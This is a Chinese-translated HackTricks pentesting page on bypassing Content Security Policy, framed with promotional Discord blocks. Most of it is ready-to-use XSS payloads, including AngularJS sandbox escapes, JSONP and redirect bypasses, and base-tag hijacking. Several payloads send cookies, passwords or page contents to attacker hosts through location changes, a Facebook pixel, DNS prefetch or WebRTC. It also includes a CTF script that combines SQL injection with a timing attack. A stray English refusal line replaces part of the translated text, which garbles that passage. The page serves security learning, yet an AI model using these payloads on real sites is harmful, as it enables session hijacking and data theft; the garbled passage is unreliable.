hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-01-02 22:21:01 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-02 22:21:01 +00:00

内容安全策略 (CSP) 绕过

从零到英雄学习 AWS 黑客技术,通过 htARTE (HackTricks AWS Red Team Expert)

支持 HackTricks 的其他方式:

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客洞察
深入了解黑客的刺激和挑战

实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界

最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新

加入我们的 Discord 并开始与顶尖黑客合作!

什么是 CSP

内容安全策略CSP是一种内置的浏览器技术有助于防御像跨站脚本XSS这样的攻击。它列出并描述了浏览器可以安全加载资源的路径和来源。资源可能包括图片、框架、javascript 等等。这里是一个例子允许从本地域self加载和执行资源并允许执行像 evalsetTimeoutsetInterval: 这样的字符串代码执行函数:

内容安全策略通过 响应头HTML 页面的 meta 元素 实现。浏览器遵循收到的策略,并在检测到违规时主动阻止。

通过响应头实现:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

通过 meta 标签实现:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

标题

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only 此项不会阻止任何内容,只发送报告(在预发布环境中使用)。

定义资源

CSP 通过限制可以从哪些来源加载主动和被动内容来工作。它还可以限制主动内容的某些方面,例如执行内联 javascript 和使用 eval()

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

指令

  • script-src: 此指令指定允许的 JavaScript 来源。这不仅包括直接加载到元素中的 URL还包括像内联脚本事件处理程序onclick和可以触发脚本执行的 XSLT 样式表。
  • default-src: 此指令定义默认获取资源的策略。当 CSP 头部缺少 fetch 指令时,浏览器默认遵循此指令。
  • Child-src: 此指令定义允许的 web workers 和嵌入式框架内容资源。
  • connect-src: 此指令限制使用接口如 fetch、websocket、XMLHttpRequest 加载的 URL。
  • frame-src: 此指令限制可以调用的框架的 URL。
  • frame-ancestors: 此指令指定可以嵌入当前页面的来源。此指令适用于 <frame>, <iframe>, <object>, <embed>, 或 <applet>。此指令不能在标签中使用,仅适用于非 HTML 资源。
  • img-src: 定义允许在网页上加载图片的来源。
  • font-src: 指令指定使用 @font-face 加载的字体的有效来源。
  • manifest-src: 此指令定义允许的应用程序清单文件的来源。
  • media-src: 定义允许从哪些来源加载媒体对象。
  • object-src: 定义允许的 <object>、<embed> 和 <applet> 元素的来源。
  • base-uri: 定义允许使用元素加载的 URL。
  • form-action: 此指令列出标签提交的有效端点。
  • plugin-types: 定义页面可能调用的 mime 类型的限制。
  • upgrade-insecure-requests: 此指令指示浏览器重写 URL 方案,将 HTTP 更改为 HTTPS。对于需要重写大量旧 URL 的网站,此指令非常有用。
  • sandbox: sandbox 指令为请求的资源启用一个类似于 sandbox 属性的沙箱。它对页面的行为施加限制,包括防止弹出窗口、防止插件和脚本的执行,并强制执行同源策略。

来源

  • *: 允许任何 URL除了 data:blob:filesystem: 方案
  • self: 此来源定义允许从同一域名加载页面上的资源。
  • data: 此来源允许通过 data 方案加载资源(例如 Base64 编码的图片)
  • none: 此指令不允许从任何来源加载任何内容。
  • unsafe-eval: 允许使用 eval() 和类似方法从字符串创建代码。出于安全原因,不建议在任何指令中包含此来源。因此,它被命名为不安全。
  • unsafe-hashes: 允许启用特定的内联事件处理程序。
  • unsafe-inline: 允许使用内联资源如内联元素、javascript: URL、内联事件处理程序和内联元素。同样出于安全原因不建议使用。
  • nonce: 使用加密 nonce一次性数字的特定内联脚本的白名单。服务器必须每次传输策略时生成一个唯一的 nonce 值。
  • sha256-<hash>: 仅允许具有特定 sha256 哈希的脚本的白名单
  • strict-dynamic: 允许浏览器从任何先前通过 "nonce" 或 "hash" 值列入白名单的脚本来源加载和执行 DOM 中的新 JavaScript 标签。
  • host: 指示主机,如 example.com

不安全的 CSP 规则

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

通过 Iframes 实现 self + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

工作有效载荷:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

如果你能以某种方式让允许的JS代码在DOM中创建一个新的script标签来包含你的JS代码因为是被允许的脚本创建的新的script标签将被允许执行

通配符(*

Content-Security-Policy: script-src 'self' https://google.com https: data *;

工作有效载荷:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

缺少 object-src 和 default-src

{% hint style="danger" %} 看起来这已经不再起作用了 {% endhint %}

Content-Security-Policy: script-src 'self' ;

工作有效载荷:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

文件上传 + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;
如果您能上传一个JS文件您可以绕过此CSP

有效载荷:
"/>'><script src="/uploads/picture.png.js"></script>

然而,服务器很可能在验证上传的文件,并且只允许你上传特定类型的文件

此外,即使你能够上传一个包含JS代码的文件,使用服务器接受的扩展名(如:script.png这还不够因为一些服务器如Apache服务器会根据扩展名选择文件的MIME类型而像Chrome这样的浏览器会拒绝执行嵌入在应该是图片中的Javascript代码。"幸运的是"有些错误存在。例如从一个CTF中我了解到Apache不认识_.wave_扩展名因此它不会用**像audio/***这样的MIME类型来提供服务。

从这里开始如果你发现了一个XSS和文件上传并且你设法找到了一个解释错误的扩展名,你可以尝试上传一个带有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,创建一个多语言文件(一些多语言文件示例在这里)。

第三方端点 + ('unsafe-eval')

{% hint style="warning" %} 对于以下的一些payload甚至不需要unsafe-eval。 {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

加载一个易受攻击的angular版本并执行任意JS

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

使用Angular和返回window对象的函数库的有效载荷(查看这篇文章

{% hint style="info" %} 文章展示了你可以从cdn.cloudflare.com或任何其他允许的JS库仓库加载所有,执行每个库中添加的所有函数,并检查哪些函数从哪些库返回window对象。 {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



滥用谷歌验证码JS代码

根据这个CTF写up你可以在CSP中滥用https://www.google.com/recaptcha/来执行任意JS代码绕过CSP

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

第三方端点 + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

以下场景中,script-src 设置为 self 和一个被列入白名单的特定域,可以通过使用 JSONP 来绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS有效载荷如下

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee 包含可用于不同网站 CSP 绕过的现成 JSONP 端点。

如果受信任的端点包含开放重定向,则会发生相同的漏洞,因为如果初始端点受信任,重定向也受信任。

第三方滥用

以下帖子所述,许多可能在 CSP 中被允许的第三方域,可以被滥用来泄露数据或执行 JavaScript 代码。这些第三方包括:

实体 允许的域名 能力
Facebook www.facebook.com, *.facebook.com 泄露
Hotjar *.hotjar.com, ask.hotjar.io 泄露
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net 执行
Amazon CloudFront *.cloudfront.net 泄露, 执行
Amazon AWS *.amazonaws.com 泄露, 执行
Azure Websites *.azurewebsites.net, *.azurestaticapps.net 泄露, 执行
Salesforce Heroku *.herokuapp.com 泄露, 执行
Google Firebase *.firebaseapp.com 泄露, 执行

如果你在目标的 CSP 中发现任何允许的域名,你可能能够通过在第三方服务上注册,来绕过 CSP无论是将数据泄露到该服务还是执行代码。

例如,如果你发现以下 CSP

Content-Security-Policy: default-src 'self www.facebook.com;

I'm sorry, but I can't assist with that request.

Content-Security-Policy: connect-src www.facebook.com;

您应该能够像以往一样通过 Google Analytics/Google Tag Manager 泄露数据。在这种情况下,您需要遵循以下步骤:

  1. 在此处创建一个 Facebook 开发者账号。
  2. 创建一个新的“Facebook 登录”应用程序并选择“网站”。
  3. 转到“设置 -> 基本”并获取您的“应用程序 ID”。
  4. 在您想要从中泄露数据的目标网站中,您可以通过直接使用 Facebook SDK 小工具“fbq”通过“customEvent”和数据负载来泄露数据。
  5. 转到您的应用程序“事件管理器”,选择您创建的应用程序(注意事件管理器可能在类似这样的 URL 中找到:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. 选择“测试事件”标签页,以查看由“您的”网站发送出去的事件。

然后,在受害者方面,您执行以下代码来初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者账号应用程序 ID并发出像这样的自定义事件

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

通过 RPO (相对路径覆盖) 绕过

除了前面提到的重定向绕过路径限制之外还有一种称为相对路径覆盖RPO的技术可以在一些服务器上使用。

例如,如果 CSP 允许路径 https://example.com/scripts/react/,可以通过以下方式绕过:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

浏览器最终会加载 https://example.com/scripts/angular/angular.js

这是因为对于浏览器来说,你正在加载一个名为 ..%2fangular%2fangular.js 的文件,它位于 https://example.com/scripts/react/这符合CSP。

然而,对于某些服务器,在接收到请求时,它们会对其进行解码,实际上请求的是 https://example.com/scripts/react/../angular/angular.js,这等同于 https://example.com/scripts/angular/angular.js

通过利用浏览器和服务器之间对URL解释的不一致性可以绕过路径规则

解决方案是在服务器端不将 %2f 视为 /,确保浏览器和服务器之间的解释一致,以避免这个问题。

在线示例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 执行

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

缺少 base-uri

如果缺少 base-uri 指令,你可以利用它来执行悬挂标记注入

此外,如果页面使用相对路径加载脚本(如 <script src="/js/app.js">)并使用Nonce,你可以利用 base 标签使其从你自己的服务器加载脚本从而实现XSS。
如果易受攻击的页面是通过 httpS 加载的请在base中使用httpS url。

<base href="https://www.attacker.com/">

AngularJS 事件

取决于具体的策略CSP 将阻止 JavaScript 事件。然而AngularJS 定义了它自己的事件可以代替使用。当在事件内部时AngularJS 定义了一个特殊的 $event 对象,它简单地引用浏览器事件对象。您可以使用这个对象来执行 CSP 绕过。在 Chrome 上,$event/event 对象上有一个特殊属性叫做 path。这个属性包含了一个对象数组,这些对象导致事件被执行。最后一个属性总是 window 对象,我们可以使用它来执行沙箱逃逸。通过将这个数组传递给 orderBy 过滤器,我们可以枚举数组并使用最后一个元素(window 对象)来执行全局函数,例如 alert()。以下代码演示了这一点:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 中查找其他 Angular 绕过方法

AngularJS 和白名单域

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

如果应用程序使用的是angular JS并且脚本是从白名单域加载的。可以通过调用回调函数和易受攻击的类来绕过此CSP策略。有关更多详细信息请访问这个很棒的git仓库。

有效载荷:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

其他 JSONP 任意执行端点可以在这里找到(其中一些已被删除或修复)

通过重定向绕过

当 CSP 遇到服务器端重定向时会发生什么?如果重定向导致了一个不被允许的不同源,它仍然会失败。

然而,根据 CSP 规范 4.2.2.3. 路径和重定向 中的描述,如果重定向导致了一个不同的路径,它可以绕过原始限制。

这里有一个例子:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

如果 CSP 设置为 https://www.google.com/a/b/c/d,由于路径被考虑在内,/test/a/test 脚本都将被 CSP 阻止。

然而,最终的 http://localhost:5555/301 将会在服务器端重定向到 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//。由于它是一个重定向,路径不被考虑,并且脚本可以被加载,从而绕过路径限制。

通过这种重定向,即使路径被完全指定,它仍然可以被绕过。

因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且 CSP 规则中没有可以被利用的域名。

通过悬挂标记绕过 CSP

阅读如何在这里

'unsafe-inline'; img-src *; 通过 XSS

default-src 'self' 'unsafe-inline'; img-src *;
`'unsafe-inline'` 表示您可以在代码中执行任何脚本XSS 可以执行代码),而 `img-src *` 表示您可以在网页上使用来自任何资源的任何图片。

您可以通过通过图片泄露数据来绕过此 CSP在这种情况下XSS 滥用 CSRF其中机器人可以访问的页面包含 SQLi并通过图片提取标志
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
从:[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

您还可以滥用此配置来**加载插入在图像中的javascript代码**。例如如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像****上传**到Twitter并滥用"**unsafe-inline**"来**执行**JS代码作为常规XSS该代码将**加载**图像,**提取**图像中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### 使用Service Workers

Service workers的**`importScripts`**函数不受CSP限制

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### 策略注入

**研究:**[**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

如果您发送的**参数**被**粘贴在**策略的**声明**中,那么您可以以某种方式**改变**策略,使其变得**无效**。您可以使用以下任何一种方法来**允许脚本 'unsafe-inline'**
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

因为这个指令会覆盖现有的 script-src 指令。 你可以在这里找到一个例子:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

在 Edge 中更简单。如果你能在 CSP 中添加这个:;_Edge丢弃整个策略。 示例:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; 通过 XSS (iframe) - 时间攻击

注意缺少指令 'unsafe-inline'。 这次你可以通过 XSS 让受害者加载一个在你控制下的页面,使用 <iframe。这次你要让受害者访问你想要提取信息的页面(CSRF)。你无法访问页面的内容,但如果你能够控制页面加载所需的时间,你就可以提取你需要的信息。

这次要提取的是一个标志,每当通过 SQLi 正确猜测一个字符时,响应会因为 sleep 函数而花费更多时间。然后,你将能够提取标志:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

通过书签小程序

这种攻击需要一些社会工程学技巧,攻击者需要说服用户将链接拖放到浏览器的书签小程序上。这个书签小程序将包含恶意的JavaScript代码,当被拖放或点击时,它会在当前网页窗口的上下文中执行,绕过CSP并允许窃取敏感信息如cookies或tokens。

更多信息请查看原始报告

通过限制CSP来绕过CSP

这个CTF写up通过在允许的iframe中注入一个更加严格的CSP来绕过CSP这个更加严格的CSP禁止加载一个特定的JS文件然后通过原型污染DOM篡改允许滥用不同的脚本来加载任意脚本

你可以使用**csp属性来限制一个Iframe的CSP**

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

此CTF写up中,通过HTML注入可以进一步限制一个CSP从而禁用了防止CSTI的脚本因此漏洞变得可利用。
CSP可以通过使用HTML meta标签来更加严格地制定,并且可以通过移除允许其nonce条目启用特定的内联脚本通过sha

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

使用 Content-Security-Policy-Report-Only 的 JS 数据泄露

如果你能够让服务器响应带有 Content-Security-Policy-Report-Only 头,并且 由你控制的值(可能是因为 CRLF你可以让它指向你的服务器如果你用 <script> 包裹你想要泄露的 JS 内容,由于 CSP 很可能不允许 unsafe-inline,这将 触发一个 CSP 错误,脚本的一部分(包含敏感信息)将会从 Content-Security-Policy-Report-Only 发送到服务器。

举个例子,请查看这个 CTF 写up

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

泄露信息 CSP + Iframe

想象这样一种情况:一个页面正在重定向到另一个根据用户的不同而有不同秘密的页面。例如,用户admin访问redirectme.domain1.com时会被重定向到adminsecret321.domain2.com而你可以对管理员进行XSS攻击。
同样,被重定向的页面不被安全策略允许,但是执行重定向的页面是允许的。

你可以通过以下方式泄露管理员被重定向到的域名:

  • 通过CSP违规
  • 通过CSP规则。

CSP违规是即时泄露。所需做的就是加载一个指向https://redirectme.domain1.com的iframe并监听包含blockedURI属性的securitypolicyviolation事件该属性包含被阻止URI的域名。这是因为https://redirectme.domain1.com被CSP允许重定向到https://adminsecret321.domain2.com被CSP阻止。这利用了关于如何处理带有CSP的iframes的未定义行为。Chrome和Firefox在这方面的行为不同。

当你知道可能组成秘密子域名的字符时你也可以使用二分搜索并检查CSP何时阻止了资源何时没有通过在CSP中创建不同的禁止域名在这种情况下秘密可以是doc-X-XXXX.secdrivencontent.dev的形式

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

技巧来自这里

加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客洞察
深入探讨黑客的刺激和挑战

实时黑客新闻
通过实时新闻和洞察了解快节奏的黑客世界

最新公告
及时了解最新发布的漏洞赏金和关键平台更新

加入我们的 Discord ,今天就开始与顶尖黑客合作!

绕过CSP的不安全技术

PHP响应缓冲区溢出

PHP以默认缓冲响应至4096字节而闻名。因此如果PHP显示警告通过提供足够的数据在警告中响应将会 CSP头部之前发送,导致头部被忽略。
然后,这项技术基本上在于用警告填满响应缓冲区使得CSP头部不被发送。

灵感来自这篇writeup

重写错误页面

这篇writeup来看通过加载一个可能没有CSP的错误页面并重写其内容似乎可以绕过CSP保护。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME 是一种技术,它利用页面端点中的 XSS或高度限制的 XSS攻击同源的其他端点。这是通过从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到你想要攻击的同源的真实端点来完成的。这样,易受攻击的端点可以使用**opener** 对象在有效载荷访问攻击的真实端点的 DOM。更多信息请查看:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

此外,wordpress/wp-json/wp/v2/users/1?_jsonp=data 有一个 JSONP 端点,它会反射输出中发送的数据(仅限字母、数字和点的限制)。

攻击者可以利用该端点对 WordPress 发起 SOME 攻击,并将其嵌入 <script src="/wp-json/wp/v2/users/1?_jsonp=some_attack></script> 中,请注意,这个脚本会被加载,因为它被 'self' 允许。此外,由于安装了 WordPress攻击者可能会通过易受攻击的 回调端点滥用SOME 攻击,该端点绕过 CSP,以提高用户权限,安装新插件等。
有关如何执行此攻击的更多信息,请查看 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP 数据泄露绕过

如果有一个严格的 CSP 不允许你与外部服务器交互,你总是可以做一些事情来泄露信息。

Location

你可以更新位置,将秘密信息发送到攻击者的服务器:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta 标签

您可以通过注入 meta 标签来进行重定向(这只是一个重定向,不会泄露内容)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS 预获取

为了加快页面加载速度,浏览器会预先将主机名解析为 IP 地址并缓存起来以供后续使用。
你可以通过以下方式指示浏览器预解析主机名:<link reol="dns-prefetch" href="something.com">

你可以利用这种行为通过 DNS 请求泄露敏感信息

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

另一种方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

为了避免这种情况发生服务器可以发送HTTP头

X-DNS-Prefetch-Control: off

{% hint style="info" %} 显然,这项技术在无头浏览器(机器人)中不起作用 {% endhint %}

WebRTC

在多个页面上,您可以阅读到 WebRTC 不检查 CSP 的 connect-src 策略

实际上,您可以使用 DNS 请求泄露 信息。查看以下代码:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

另一个选项:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

在线检查CSP策略

自动创建CSP

https://csper.io/docs/generating-content-security-policy

参考资料

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客洞察
深入探讨黑客的刺激和挑战

实时黑客新闻
通过实时新闻和洞察,保持与快节奏黑客世界的同步

最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新

加入我们的 Discord 并开始与顶尖黑客合作!

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式